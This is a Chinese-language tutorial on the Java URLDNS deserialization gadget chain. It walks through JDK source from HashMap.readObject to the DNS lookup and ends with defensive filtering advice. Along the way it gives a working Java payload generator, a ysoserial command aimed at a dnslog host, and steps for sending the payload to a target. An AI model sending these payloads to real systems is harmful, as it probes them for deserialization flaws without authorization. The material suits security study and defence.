URLDNS利用链剖析
一、URLDNS链核心原理
URLDNS链的核心是利用HashMap
的readObject()
方法触发URL#hashCode()
计算,进而触发URLStreamHandler#getHostAddress()
发起DNS查询。整个过程不执行任何恶意代码,仅通过DNS请求验证反序列化漏洞存在。
漏洞触发流程:
ObjectInputStream.readObject()→ HashMap.readObject()→ HashMap.putVal()→ HashMap.hash()→ URL.hashCode()→ URLStreamHandler.hashCode()→ URLStreamHandler.getHostAddress()→ InetAddress.getByName() // 发起DNS查询
二、关键源码分析
1. HashMap反序列化触发点
// HashMap.java
private void readObject(ObjectInputStream s) throws IOException, ClassNotFoundException {// ... 省略初始化代码 ...for (int i = 0; i < mappings; i++) {K key = (K) s.readObject();V value = (V) s.readObject();putVal(hash(key), key, value, false, false); // 关键调用}
}
2.hash(key)漏洞触发
// HashMap.javastatic final int hash(Object key) {int h;return (key == null) ? 0 : (h = key.hashCode()) ^ (h >>> 16);}
key.hashCode()
中key为URL
类
3. URL.hashCode()漏洞触发
// URL.java
public synchronized int hashCode() {if (hashCode != -1) return hashCode;hashCode = handler.hashCode(this); // 委托给URLStreamHandlerreturn hashCode;
}
- 只要
hashCode = -1
,那么便会执行handler.hashCode(this);
, 我们发现hashcode
的初始值为 -1,也就是默认执行handler.hashCode(this);
- 在生成payload的时候,第一次
put
的时候把hashCode
字段设置为不是 -1 的值,避免运行下面的handler.hashCode(this)
。 - 生成序列化对象的时候又需要把
hashCode
字段设置为 -1,因为反序列化的时候需要运行下面的handler.hashCode(this)
。 - 所以我们可以通过反射修改
hashCode
字段的方式来避免在序列化的时候触发DNS请求
4. getHostAddress(u)漏洞触发
// URLStreamHandler.javaprotected int hashCode(URL u) {int h = 0;String protocol = u.getProtocol();if (protocol != null)h += protocol.hashCode();InetAddress addr = getHostAddress(u);// 触发DNS查询if (addr != null) {h += addr.hashCode();} else {String host = u.getHost();if (host != null)h += host.toLowerCase().hashCode();}String file = u.getFile();if (file != null)h += file.hashCode();if (u.getPort() == -1)h += getDefaultPort();elseh += u.getPort();String ref = u.getRef();if (ref != null)h += ref.hashCode();return h;}protected InetAddress getHostAddress(URL u) {return u.getHostAddress();}
5. DNS查询最终实现
//URL.javasynchronized InetAddress getHostAddress() {if (hostAddress != null) {return hostAddress;}if (host == null || host.isEmpty()) {return null;}try {hostAddress = InetAddress.getByName(host);// 实际发起DNS请求} catch (UnknownHostException | SecurityException ex) {return null;}return hostAddress;}
三、手工构造Payload
通过反射机制绕过URL.hashCode()
的缓存机制:
import java.io.*;
import java.lang.reflect.Field;
import java.net.URL;
import java.util.HashMap;public class URLDNSPayload {public static void main(String[] args) throws Exception {// 创建可控URL对象URL url = new URL("http://your-dnslog-url.com");// 创建触发链的HashMapHashMap<URL, Integer> map = new HashMap<>();map.put(url, 1); // 此时hashCode已被修改// 反射修改hashCodeField hashCodeField = URL.class.getDeclaredField("hashCode");hashCodeField.setAccessible(true);// 序列化前重置hashCodehashCodeField.set(url, -1);// 序列化对象ByteArrayOutputStream baos = new ByteArrayOutputStream();try (ObjectOutputStream oos = new ObjectOutputStream(baos)) {oos.writeObject(map);}// 反序列化触发漏洞ByteArrayInputStream bais = new ByteArrayInputStream(baos.toByteArray());try (ObjectInputStream ois = new ObjectInputStream(bais)) {ois.readObject(); // 此处触发DNS查询}}
}
四、利用方式详解
1. 使用ysoserial工具生成Payload
java -jar ysoserial.jar URLDNS "http://subdomain.dnslog.cn" > payload.bin
2. 漏洞检测步骤
- 在DNSLog平台获取临时域名
- 生成Payload:
ysoserial URLDNS http://xxx.dnslog.cn > payload.bin
- 向目标发送Payload(如HTTP参数、RMI请求等)
- 检查DNSLog平台是否收到查询记录
五、实战利用示例
// 漏洞服务器模拟(存在反序列化点)
import java.io.*;public class VulnerableServer {public static void main(String[] args) throws Exception {// 从网络或文件读取攻击者构造的Payloadtry (FileInputStream fis = new FileInputStream("payload.bin");ObjectInputStream ois = new ObjectInputStream(fis)) {ois.readObject(); // 反序列化触发点System.out.println("[+] 对象反序列化完成");}}
}
六、防御建议
- 输入过滤:对反序列化数据源进行严格校验
- 白名单控制:使用
ObjectInputFilter
设置反序列化类白名单
ObjectInputStream ois = new ObjectInputStream(fis);
ois.setObjectInputFilter(new CustomFilter());
- 替换方案:使用JSON等更安全的序列化格式
- JVM防护:添加JVM参数限制反序列化
-Djdk.serialFilter="java.util.HashMap;!*"
七、技术总结
- URLDNS是最安全的探测链,不会执行代码
- 利用Java原生类实现,无需第三方依赖
- 通过反射修改hashCode绕过URL对象缓存机制
- DNS查询作为出网行为,适用于无回显场景